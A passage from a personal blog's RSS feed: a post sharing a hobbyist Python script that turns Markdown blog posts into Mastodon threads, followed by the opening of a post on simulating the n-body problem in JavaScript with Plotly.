<p>My website is built using a really simple static site generator I wrote in Python.
Therefore, each post is self-contained in a Markdown file with the necessary metadata.</p>
<p>I am going to specify the path to the blog post, parse it and then publish it.</p>
<p>I initially planned on having a command line parser and some more flags.</p>
<h3 id="interacting-with-mastodon">interacting with mastodon</h3>
<p>I ended up using mastodon.py rather than crafting requests by hand. Each status<em>post/toot call returns a status</em>id that can be then used as an in<em>reply</em>to parameter.</p>
<p>For the code snippets, seeing that mastodon does not support native formatting, I am resorting to using ray-so.</p>
<h3 id="reading-markdown">reading markdown</h3>
<p>I am using a bunch of regex hacks, and reading the blog post line by line.
Because there is no markdown support, I append all the links to the end of the toot.
For images, I upload them and attach them to the toot.
The initial toot is generated based off the title and the tags associated with the post.</p>
<div class="codehilite">
<pre><span></span><code><span class="c1"># Regexes I am using</span>
<span class="n">markdown_image</span> <span class="o">=</span> <span class="sa">r</span><span class="s1">'(?:!\[(.*?)\]\((.*?)\))'</span>
<span class="n">markdown_links</span> <span class="o">=</span> <span class="sa">r</span><span class="s1">'(?:\[(.*?)\]\((.*?)\))'</span>
<span class="n">tags_within_metadata</span> <span class="o">=</span> <span class="sa">r</span><span class="s2">"tags: ([\w,\s]+)"</span>
<span class="n">metadata_regex</span> <span class="o">=</span> <span class="sa">r</span><span class="s2">"---\s*\n(.*?)\n---\s*\n"</span>
</code></pre>
</div>
<p>This is useful when I want to get the exact data I want.
In this case, I can extract the tags from the front matter.</p>
<div class="codehilite">
<pre><span></span><code><span class="n">metadata</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">metadata_regex</span><span class="p">,</span> <span class="n">markdown_content</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">DOTALL</span><span class="p">)</span>
<span class="k">if</span> <span class="n">metadata</span><span class="p">:</span>
<span class="n">tags_match</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s2">"tags: ([\w,\s]+)"</span><span class="p">,</span> <span class="n">metadata</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
<span class="k">if</span> <span class="n">tags_match</span><span class="p">:</span>
<span class="n">tags</span> <span class="o">=</span> <span class="n">tags_match</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">","</span><span class="p">)</span>
</code></pre>
</div>
<h3 id="code-snippet-support">code snippet support</h3>
<p>I am running <a rel="noopener" target="_blank" href="https://github.com/akashrchandran/Rayso-API">akashrchandran/Rayso-API</a>.</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="k">def</span> <span class="nf">get_image</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="n">language</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">"python"</span><span class="p">,</span> <span class="n">title</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">"Code Snippet"</span><span class="p">):</span>
<span class="n">params</span> <span class="o">=</span> <span class="p">(</span>
<span class="p">(</span><span class="s1">'code'</span><span class="p">,</span> <span class="n">code</span><span class="p">),</span>
<span class="p">(</span><span class="s1">'language'</span><span class="p">,</span> <span class="n">language</span><span class="p">),</span>
<span class="p">(</span><span class="s1">'title'</span><span class="p">,</span> <span class="n">title</span><span class="p">),</span>
<span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'http://localhost:3000/api'</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
<span class="k">return</span> <span class="n">response</span><span class="o">.</span><span class="n">content</span>
</code></pre>
</div>
<h3 id="threads-threads-threads">threads! threads! threads!</h3>
<p>Even though mastodon does officially have a higher character limit than Twitter.
I prefer the way threads look.</p>
<h2 id="result">result</h2>
<p>Everything does seem to work!
Seeing that you are reading this on Mastodon, and that I have updated this section.</p>
<p><iframe src="https://mastodon.social/@navanchauhan/109577330116812393/embed" class="mastodon-embed" style="max-width: 100%; border: 0" width="400" allowfullscreen="allowfullscreen"></iframe><script src="https://static-cdn.mastodon.social/embed.js" async="async"></script></p>
<h2 id="whats-next">what's next?</h2>
<p>Here is the current code:</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">from</span> <span class="nn">mastodon</span> <span class="kn">import</span> <span class="n">Mastodon</span>
<span class="kn">from</span> <span class="nn">mastodon.errors</span> <span class="kn">import</span> <span class="n">MastodonAPIError</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="n">mastodon</span> <span class="o">=</span> <span class="n">Mastodon</span><span class="p">(</span>
<span class="n">access_token</span><span class="o">=</span><span class="s1">'reeeeee'</span><span class="p">,</span>
<span class="n">api_base_url</span><span class="o">=</span><span class="s2">"https://mastodon.social"</span>
<span class="p">)</span>
<span class="n">url_base</span> <span class="o">=</span> <span class="s2">"https://web.navan.dev"</span>
<span class="n">sample_markdown_file</span> <span class="o">=</span> <span class="s2">"Content/posts/2022-12-25-blog-to-toot.md"</span>
<span class="n">tags</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">toots</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">image_idx</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">markdown_image</span> <span class="o">=</span> <span class="sa">r</span><span class="s1">'(?:!\[(.*?)\]\((.*?)\))'</span>
<span class="n">markdown_links</span> <span class="o">=</span> <span class="sa">r</span><span class="s1">'(?:\[(.*?)\]\((.*?)\))'</span>
<span class="k">def</span> <span class="nf">get_image</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="n">language</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">"python"</span><span class="p">,</span> <span class="n">title</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">"Code Snippet"</span><span class="p">):</span>
<span class="n">params</span> <span class="o">=</span> <span class="p">(</span>
<span class="p">(</span><span class="s1">'code'</span><span class="p">,</span> <span class="n">code</span><span class="p">),</span>
<span class="p">(</span><span class="s1">'language'</span><span class="p">,</span> <span class="n">language</span><span class="p">),</span>
<span class="p">(</span><span class="s1">'title'</span><span class="p">,</span> <span class="n">title</span><span class="p">),</span>
<span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'http://localhost:3000/api'</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
<span class="k">return</span> <span class="n">response</span><span class="o">.</span><span class="n">content</span>
<span class="k">class</span> <span class="nc">TootContent</span><span class="p">:</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">text</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">""</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">text</span> <span class="o">=</span> <span class="n">text</span>
<span class="bp">self</span><span class="o">.</span><span class="n">images</span> <span class="o">=</span> <span class="p">[]</span>
<span class="bp">self</span><span class="o">.</span><span class="n">links</span> <span class="o">=</span> <span class="p">[]</span>
<span class="bp">self</span><span class="o">.</span><span class="n">image_count</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">images</span><span class="p">)</span>
<span class="k">def</span> <span class="fm">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">toot_text</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">text</span>
<span class="k">for</span> <span class="n">link</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">links</span><span class="p">:</span>
<span class="n">toot_text</span> <span class="o">+=</span> <span class="s2">" "</span> <span class="o">+</span> <span class="n">link</span>
<span class="k">return</span> <span class="n">toot_text</span>
<span class="k">def</span> <span class="nf">get_text</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">toot_text</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">text</span>
<span class="k">for</span> <span class="n">link</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">links</span><span class="p">:</span>
<span class="n">toot_text</span> <span class="o">+=</span> <span class="s2">" "</span> <span class="o">+</span> <span class="n">link</span>
<span class="k">return</span> <span class="n">toot_text</span>
<span class="k">def</span> <span class="nf">get_length</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
<span class="k">for</span> <span class="n">link</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">links</span><span class="p">:</span>
<span class="n">length</span> <span class="o">+=</span> <span class="mi">23</span>
<span class="k">return</span> <span class="n">length</span>
<span class="k">def</span> <span class="nf">add_link</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">link</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">text</span><span class="p">)</span> <span class="o">+</span> <span class="mi">23</span> <span class="o"><</span> <span class="mi">498</span><span class="p">:</span>
<span class="k">if</span> <span class="n">link</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span> <span class="o">!=</span> <span class="s1">'h'</span><span class="p">:</span>
<span class="n">link</span> <span class="o">=</span> <span class="n">url_base</span> <span class="o">+</span> <span class="n">link</span>
<span class="bp">self</span><span class="o">.</span><span class="n">links</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">link</span><span class="p">)</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="k">def</span> <span class="nf">add_image</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">image</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">images</span><span class="p">)</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span>
<span class="c1"># will handle in future</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"cannot upload more than 4 images per toot"</span><span class="p">)</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="c1"># upload image and get id</span>
<span class="bp">self</span><span class="o">.</span><span class="n">images</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">image</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">image_count</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">images</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">add_text</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">text</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">text</span> <span class="o">+</span> <span class="n">text</span><span class="p">)</span> <span class="o">></span> <span class="mi">400</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="k">else</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">text</span> <span class="o">+=</span> <span class="sa">f</span><span class="s2">" </span><span class="si">{</span><span class="n">text</span><span class="si">}</span><span class="s2">"</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">def</span> <span class="nf">get_links</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">links</span><span class="p">))</span>
<span class="n">in_metadata</span> <span class="o">=</span> <span class="kc">False</span>
<span class="n">in_code_block</span> <span class="o">=</span> <span class="kc">False</span>
<span class="n">my_toots</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">text</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">images</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">image_links</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">extra_links</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">tags</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">code_block</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">language</span> <span class="o">=</span> <span class="s2">"bash"</span>
<span class="n">current_toot</span> <span class="o">=</span> <span class="n">TootContent</span><span class="p">()</span>
<span class="n">metadata_regex</span> <span class="o">=</span> <span class="sa">r</span><span class="s2">"---\s*\n(.*?)\n---\s*\n"</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sample_markdown_file</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">markdown_content</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">metadata</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">metadata_regex</span><span class="p">,</span> <span class="n">markdown_content</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">DOTALL</span><span class="p">)</span>
<span class="k">if</span> <span class="n">metadata</span><span class="p">:</span>
<span class="n">tags_match</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s2">"tags: ([\w,\s]+)"</span><span class="p">,</span> <span class="n">metadata</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
<span class="k">if</span> <span class="n">tags_match</span><span class="p">:</span>
<span class="n">tags</span> <span class="o">=</span> <span class="n">tags_match</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">","</span><span class="p">)</span>
<span class="n">markdown_content</span> <span class="o">=</span> <span class="n">markdown_content</span><span class="o">.</span><span class="n">rsplit</span><span class="p">(</span><span class="s2">"---</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="mi">1</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">markdown_content</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">):</span>
<span class="k">if</span> <span class="n">current_toot</span><span class="o">.</span><span class="n">get_length</span><span class="p">()</span> <span class="o"><</span> <span class="mi">400</span><span class="p">:</span>
<span class="k">if</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="o">==</span> <span class="s1">''</span><span class="p">:</span>
<span class="k">continue</span>
<span class="k">if</span> <span class="n">line</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'#'</span><span class="p">:</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"#"</span><span class="p">,</span><span class="s2">""</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">my_toots</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">current_toot</span><span class="o">.</span><span class="n">add_text</span><span class="p">(</span>
<span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">line</span><span class="si">}</span><span class="s2">: a cross-posted blog post </span><span class="se">\n</span><span class="s2">"</span>
<span class="p">)</span>
<span class="n">hashtags</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">for</span> <span class="n">tag</span> <span class="ow">in</span> <span class="n">tags</span><span class="p">:</span>
<span class="n">hashtags</span> <span class="o">+=</span> <span class="sa">f</span><span class="s2">"#</span><span class="si">{</span><span class="n">tag</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="si">}</span><span class="s2">,"</span>
<span class="n">current_toot</span><span class="o">.</span><span class="n">add_text</span><span class="p">(</span><span class="n">hashtags</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="n">my_toots</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_toot</span><span class="p">)</span>
<span class="n">current_toot</span> <span class="o">=</span> <span class="n">TootContent</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">my_toots</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_toot</span><span class="p">)</span>
<span class="n">current_toot</span> <span class="o">=</span> <span class="n">TootContent</span><span class="p">(</span><span class="n">text</span><span class="o">=</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">line</span><span class="o">.</span><span class="n">title</span><span class="p">()</span><span class="si">}</span><span class="s2">:"</span><span class="p">)</span>
<span class="k">continue</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="s2">"```"</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
<span class="n">in_code_block</span> <span class="o">=</span> <span class="ow">not</span> <span class="n">in_code_block</span>
<span class="k">if</span> <span class="n">in_code_block</span><span class="p">:</span>
<span class="n">language</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"```"</span><span class="p">,</span><span class="s1">''</span><span class="p">)</span>
<span class="k">continue</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">"code-snipped_</span><span class="si">{</span><span class="n">image_idx</span><span class="si">}</span><span class="s2">.png"</span><span class="p">,</span><span class="s2">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">get_image</span><span class="p">(</span><span class="n">code_block</span><span class="p">,</span> <span class="n">language</span><span class="p">))</span>
<span class="n">current_toot</span><span class="o">.</span><span class="n">add_image</span><span class="p">(</span><span class="sa">f</span><span class="s2">"code-snipped_</span><span class="si">{</span><span class="n">image_idx</span><span class="si">}</span><span class="s2">.png"</span><span class="p">)</span>
<span class="n">image_idx</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">code_block</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">continue</span>
<span class="k">if</span> <span class="n">in_code_block</span><span class="p">:</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">" "</span><span class="p">,</span><span class="s2">"</span><span class="se">\t</span><span class="s2">"</span><span class="p">)</span>
<span class="n">code_block</span> <span class="o">+=</span> <span class="n">line</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
<span class="k">continue</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">markdown_image</span><span class="p">,</span><span class="n">line</span><span class="p">))</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span>
<span class="k">for</span> <span class="n">image_link</span> <span class="ow">in</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">markdown_links</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="n">image_link</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">image_link</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="c1"># not handled yet</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="n">markdown_image</span><span class="p">,</span><span class="s2">""</span><span class="p">,</span><span class="n">line</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">markdown_links</span><span class="p">,</span><span class="n">line</span><span class="p">))</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span>
<span class="k">for</span> <span class="n">link</span> <span class="ow">in</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">markdown_links</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="p">(</span><span class="n">current_toot</span><span class="o">.</span><span class="n">add_link</span><span class="p">(</span><span class="n">link</span><span class="p">[</span><span class="mi">1</span><span class="p">])):</span>
<span class="n">extra_links</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">link</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="sa">f</span><span class="s1">'[</span><span class="si">{</span><span class="n">link</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s1">](</span><span class="si">{</span><span class="n">link</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="s1">)'</span><span class="p">,</span><span class="n">link</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">current_toot</span><span class="o">.</span><span class="n">add_text</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
<span class="n">my_toots</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_toot</span><span class="p">)</span>
<span class="n">current_toot</span> <span class="o">=</span> <span class="n">TootContent</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">my_toots</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_toot</span><span class="p">)</span>
<span class="n">current_toot</span> <span class="o">=</span> <span class="n">TootContent</span><span class="p">()</span>
<span class="n">my_toots</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_toot</span><span class="p">)</span>
<span class="n">in_reply_to_id</span> <span class="o">=</span> <span class="kc">None</span>
<span class="k">for</span> <span class="n">toot</span> <span class="ow">in</span> <span class="n">my_toots</span><span class="p">:</span>
<span class="n">image_ids</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">image</span> <span class="ow">in</span> <span class="n">toot</span><span class="o">.</span><span class="n">images</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"uploading image, </span><span class="si">{</span><span class="n">image</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">image_id</span> <span class="o">=</span> <span class="n">mastodon</span><span class="o">.</span><span class="n">media_post</span><span class="p">(</span><span class="n">image</span><span class="p">)</span>
<span class="n">image_ids</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">image_id</span><span class="o">.</span><span class="n">id</span><span class="p">)</span>
<span class="k">except</span> <span class="n">MastodonAPIError</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"failed to upload. Continuing..."</span><span class="p">)</span>
<span class="k">if</span> <span class="n">image_ids</span> <span class="o">==</span> <span class="p">[]:</span>
<span class="n">image_ids</span> <span class="o">=</span> <span class="kc">None</span>
<span class="n">in_reply_to_id</span> <span class="o">=</span> <span class="n">mastodon</span><span class="o">.</span><span class="n">status_post</span><span class="p">(</span>
<span class="n">toot</span><span class="o">.</span><span class="n">get_text</span><span class="p">(),</span> <span class="n">in_reply_to_id</span><span class="o">=</span><span class="n">in_reply_to_id</span><span class="p">,</span> <span class="n">media_ids</span><span class="o">=</span><span class="n">image_ids</span>
<span class="p">)</span><span class="o">.</span><span class="n">id</span>
</code></pre>
</div>
<p>Not the best thing I have ever written, but it works!</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2023-04-30-n-body-simulation.html
</guid>
<title>
n-body solution generator
</title>
<description>
n-body solution generator and solver
</description>
<link>https://web.navan.dev/posts/2023-04-30-n-body-simulation.html</link>
<pubDate>Sun, 30 Apr 2023 22:50:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="n-body-solution-generator">n-body solution generator</h1>
<p>This post requires JavaScript to be viewed properly :(</p>
<p>Adapted from the Numerics Tutorial - <a rel="noopener" target="_blank" href="https://github.com/kirklong/ThreeBodyBot/tree/master/NumericsTutorial">kirklong/ThreeBodyBot</a>. The Julia code has been rewritten in JavaScript.</p>
<p>Workflow:</p>
<ul>
<li>Understand the problem</li>
<li>Visualise a basic orbit</li>
<li>Solve and plot the classic figure-8 orbit</li>
<li>Random n-body solution generator</li>
</ul>
<p><strong>To workaround memory issues, the simulations are only run on-demand when the user clicks the respective button. Scroll down to the bottom of the page to see the results.</strong></p>
<h2 id="the-n-body-problem">The n-body problem</h2>
<p>The n-body problem is a classic puzzle in physics (and thus astrophysics) and mathematics that deals with predicting the motion of multiple celestial objects that interact with each other through gravitational forces. </p>
<p>Imagine you are observing a <em>cosmic dance</em> between multiple celestial bodies, all tugging on one another as they move through space. The n-body problem aims to understand and predict the paths of these objects as they move through space.</p>
<p>When <code>n=2</code>, i.e we have only two objects, say the Earth and the Moon, we can easily apply Newtonian physics to predict their motion. However, when <code>n>2</code>, the problem becomes much more difficult to solve analytically.[1] This is because each object feels the gravitational pull from all other objects, and thus the equations of motion become coupled and non-linear. </p>
<p>As the number of objects increases, finding an exact solution becomes impossible, and we rely on analytical approximations.</p>
<h2 id="visualising-a-basic-orbit">Visualising a basic orbit</h2>
<p>If we want to create a n-body simulation in our browser, we need to figure out how we are going to visualise the motion of the objects. There are a few ways to do this, but the easiest is to use Plotly.js, a JavaScript library for creating interactive graphs. (An alternative is to use the HTML5 canvas element).</p>
<div class="codehilite">
<pre><span></span><code><span class="cm">/*</span>
<span class="cm"> * Earth - Sun Orbit Plot</span>
<span class="cm"> * Taken from Numerics tutorial</span>
<span class="cm"> */</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">6.67e-11</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">Msun</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">2e30</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">AU</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">v0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Msun</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">AU</span><span class="p">);</span><span class="w"> </span><span class="c1">// SI</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">dR</span><span class="p">(</span><span class="nx">r</span><span class="p">,</span><span class="w"> </span><span class="nx">v</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">dv</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Msun</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">r</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span><span class="w"> </span><span class="mf">3</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">0</span><span class="p">],</span><span class="w"> </span><span class="o">-</span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Msun</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="nx">r</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">**</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span><span class="w"> </span><span class="mf">3</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">r</span><span class="p">[</span><span class="mf">1</span><span class="p">]];</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">dr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[...</span><span class="nx">v</span><span class="p">];</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">dr</span><span class="p">,</span><span class="w"> </span><span class="nx">dv</span><span class="p">];</span>
<span class="p">}</span>
<span class="c1">// initialize system</span>
